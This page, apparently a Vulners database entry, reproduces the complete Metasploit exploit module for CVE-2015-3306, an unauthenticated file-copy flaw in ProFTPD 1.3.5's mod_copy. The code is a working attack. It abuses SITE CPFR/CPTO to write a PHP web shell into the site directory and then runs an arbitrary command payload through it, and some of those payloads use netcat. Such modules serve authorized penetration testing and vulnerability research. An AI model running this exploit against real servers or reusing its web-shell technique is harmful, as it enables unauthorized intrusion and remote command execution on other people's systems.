Lucene search
K

ProFTPD 1.3.5 Mod_Copy Command Execution

🗓️ 22 Apr 2015 05:41:16Reported by Vadim Melihow, xistence <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 547 Views

ProFTPD 1.3.5 Mod_Copy Command Execution module exploits the SITE CPFR/CPTO mod_copy commands to copy files from any part of the filesystem to a chosen destination, allowing PHP remote code execution. The commands are executed with the privileges of the ProFTPD service, which runs under the 'nobody' user by default

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'ProFTPD 1.3.5 Mod_Copy Command Execution',
        'Description' => %q{
          This module exploits the SITE CPFR/CPTO mod_copy commands in ProFTPD version 1.3.5.
          Any unauthenticated client can leverage these commands to copy files from any
          part of the filesystem to a chosen destination. The copy commands are executed with
          the rights of the ProFTPD service, which by default runs under the privileges of the
          'nobody' user. By using /proc/self/cmdline to copy a PHP payload to the website
          directory, PHP remote code execution is made possible.
        },
        'Author' => [
          'Vadim Melihow', # Original discovery, Proof of Concept
          'xistence <xistence[at]0x90.nl>' # Metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2015-3306' ],
          [ 'EDB', '36742' ],
          [ 'URL', 'http://bugs.proftpd.org/show_bug.cgi?id=4169' ]
        ],
        'Privileged' => false,
        'Platform' => [ 'unix' ],
        'Arch' => ARCH_CMD,
        'Payload' => {
          'BadChars' => '',
          'Compat' => {
            'PayloadType' => 'cmd',
            'RequiredCmd' => 'generic gawk python perl netcat'
          }
        },
        'Targets' => [
          [ 'ProFTPD 1.3.5', {} ]
        ],
        'DisclosureDate' => '2015-04-22',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
        }
      )
    )

    register_options([
      OptPort.new('RPORT', [true, 'HTTP port', 80]),
      OptPort.new('RPORT_FTP', [true, 'FTP port', 21]),
      OptString.new('TARGETURI', [true, 'Base path to the website', '/']),
      OptString.new('TMPPATH', [true, 'Absolute writable path', '/tmp']),
      OptString.new('SITEPATH', [true, 'Absolute writable website path', '/var/www'])
    ])
  end

  def ftp_port
    datastore['RPORT_FTP']
  end

  def check
    sock = Rex::Socket.create_tcp('PeerHost' => rhost, 'PeerPort' => ftp_port)

    if sock.nil?
      return CheckCode::Unknown("#{rhost}:#{ftp_port} - Failed to connect to FTP server")
    end

    vprint_status("#{rhost}:#{ftp_port} - Connected to FTP server")

    # Set 30 second timeout to allow remote server time to perform reverse DNS lookup
    res = sock.get_once(-1, 30)

    unless res && res.include?('220')
      return CheckCode::Safe("#{rhost}:#{ftp_port} - Failure retrieving ProFTPD 220 OK banner")
    end

    sock.puts("SITE CPFR /etc/passwd\r\n")
    res = sock.get_once(-1, 10)

    if res.nil?
      return CheckCode::Unknown("#{rhost}:#{ftp_port} - Failed to connect to FTP server")
    end

    if res.include?("500 'SITE CPFR' not understood")
      return CheckCode::Safe("#{rhost}:#{ftp_port} - SITE CPFR command not supported")
    end

    if res.include?('530')
      return CheckCode::Safe("#{rhost}:#{ftp_port} - SITE CPFR command requires authentication.")
    end

    if res.include?('350')
      return CheckCode::Appears("#{rhost}:#{ftp_port} - Unauthenticated SITE CPFR command was successful")
    end

    CheckCode::Safe
  ensure
    sock.close unless sock.nil?
  end

  def exploit
    get_arg = rand_text_alphanumeric(5..7)
    payload_name = rand_text_alphanumeric(5..7) + '.php'

    sock = Rex::Socket.create_tcp('PeerHost' => rhost, 'PeerPort' => ftp_port)

    if sock.nil?
      fail_with(Failure::Unreachable, "#{rhost}:#{ftp_port} - Failed to connect to FTP server")
    end

    print_status("#{rhost}:#{ftp_port} - Connected to FTP server")

    # Set 30 second timeout to allow remote server time to perform reverse DNS lookup
    res = sock.get_once(-1, 30)
    unless res && res.include?('220')
      fail_with(Failure::Unknown, "#{rhost}:#{ftp_port} - Failure retrieving ProFTPD 220 OK banner")
    end

    print_status("#{rhost}:#{ftp_port} - Sending copy commands to FTP server")

    sock.puts("SITE CPFR /proc/self/cmdline\r\n")
    res = sock.get_once(-1, 10)
    unless res && res.include?('350')
      fail_with(Failure::Unknown, "#{rhost}:#{ftp_port} - Failure copying from /proc/self/cmdline")
    end

    sock.put("SITE CPTO #{datastore['TMPPATH']}/.<?php passthru($_GET[\'#{get_arg}\']);?>\r\n")
    res = sock.get_once(-1, 10)
    unless res && res.include?('250')
      fail_with(Failure::Unknown, "#{rhost}:#{ftp_port} - Failure copying to temporary payload file")
    end

    sock.put("SITE CPFR #{datastore['TMPPATH']}/.<?php passthru($_GET[\'#{get_arg}\']);?>\r\n")
    res = sock.get_once(-1, 10)
    unless res && res.include?('350')
      fail_with(Failure::Unknown, "#{rhost}:#{ftp_port} - Failure copying from temporary payload file")
    end

    sock.put("SITE CPTO #{datastore['SITEPATH']}/#{payload_name}\r\n")
    res = sock.get_once(-1, 10)
    unless res && res.include?('250')
      fail_with(Failure::Unknown, "#{rhost}:#{ftp_port} - Failure copying PHP payload to website path, directory not writable?")
    end

    sock.close

    register_file_for_cleanup("#{datastore['SITEPATH']}/#{payload_name}")

    uri = normalize_uri(target_uri.path, payload_name)
    print_status("Executing PHP payload #{uri}")
    res = send_request_cgi!(
      'uri' => uri,
      'vars_get' => { get_arg => "nohup #{payload.encoded} &" }
    )

    unless res && res.code == 200
      fail_with(Failure::Unknown, "#{rhost}:#{ftp_port} - Failure executing payload")
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

19 Mar 2023 04:35Current
8.2High risk
Vulners AI Score8.2
CVSS 210
EPSS0.93835
547